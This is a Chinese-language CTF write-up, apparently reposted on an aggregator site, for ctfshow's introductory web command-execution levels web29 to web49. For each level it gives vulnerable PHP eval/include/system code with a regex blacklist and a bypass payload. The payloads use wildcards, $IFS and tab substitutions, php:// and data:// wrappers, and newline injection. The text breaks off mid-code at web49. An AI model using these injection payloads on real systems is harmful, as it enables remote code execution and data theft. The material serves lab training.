ctfshow web入门-命令执行

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web入门-命令执行相关的知识,希望对你有一定的参考价值。

web29

源码

<?php

error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

关键词被过滤的话可以考虑通配符绕过

*代表任意字符 0 个或多个
?代表任意字符 1[abcd]匹配abcd中一个字符
[a-z]匹配范围 a-z

Payload

?c=system('cat f*');

web30

源码

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

命令执行函数有

system()
passthru()   # passthru — 执行外部程序并且显示原始输出
exec()       # exec — 执行一个外部程序  
shell_exec() # shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen()
proc_open()
pcntl_exec()
`` 同shell_exec()

Payload

echo passthru("cat f*");

web31

源码

<?php
    
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

cat被过滤可以用

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep  在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行,此时可以使用如下命令: grep test *file
paste  指令会把每个文件以列对列的方式,一列列地加以合并

空格被过滤可以用

{$IFS}   $IFS$9

> < <> 重定向符
%09(需要php环境)
{cat,flag.php} //用逗号实现了空格功能
%20  

Payload

?c=echo(\\`tac%09f*\\`);

web32

源码

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

Payload

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php`

web33

源码

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

Payload

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

源码

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\:|\\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

Payload

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web35

源码

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\:|\\"|\\<|\\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

Payload

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

源码

<?phperror_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\:|\\"|\\<|\\=|\\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

Payload

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

源码

<?php//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo$flag;

}

}else{
highlight_file(__FILE__);
}

Payload

?c=data://text/plain,<?php system('cat f*');

web38

源码

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

Payload

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=

web39

源码

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

data://text/plain, 这样就相当于执行了php语句.php因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

Payload

?c=data://text/plain,<?php system('cat *');?>

web40

源码

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\\~|\\`|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\=|\\+|\\{|\\[|\\]|\\}|\\:|\\'|\\"|\\,|\\<|\\.|\\>|\\/|\\?|\\\\\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

Payload

c=readfile(next(array_reverse(scandir(getcwd()))));

web41

源码

<?php

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\\^|\\+|\\~|\\$|\\[|\\]|\\{|\\}|\\&|\\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?> 

Payload

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\\^|\\+|\\~|\\$|\\[|\\]|\\{|\\}|\\&|\\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

web42

源码

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

Payload

c=cat flag.php;

web43

源码

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

system()函数如果不用分号或者截断的话,就和后边的>/dev/null 2>&1拼接起来了,不关输入啥都会把结果输出到/dev/null

Payload

?c=tac flag.php%0a

web44

源码

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 
?c=tac f*%0a

web45

源码

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

Payload

?c=tac%09f*%0a

web46

源码

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

Payload

?c=tac%09fla?.php%0a

web47

源码

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Payload

?c=tac%09fla?.php%0a

web48

源码

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Payload

?c=tac%09fla?.php%0a

web49

源码

<?php

if(isset($_GET以上是关于ctfshow web入门-命令执行的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow web入门 命令执行后篇(web55-web188)

CTFSHOW web入门 java反序列化篇 web855

CTFSHOW web入门 java反序列化篇 web855

ctfshow web入门 信息搜集

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞(代

ctfshow-萌新-web14( 曲线救国-POST请求绕过获取网站敏感信息)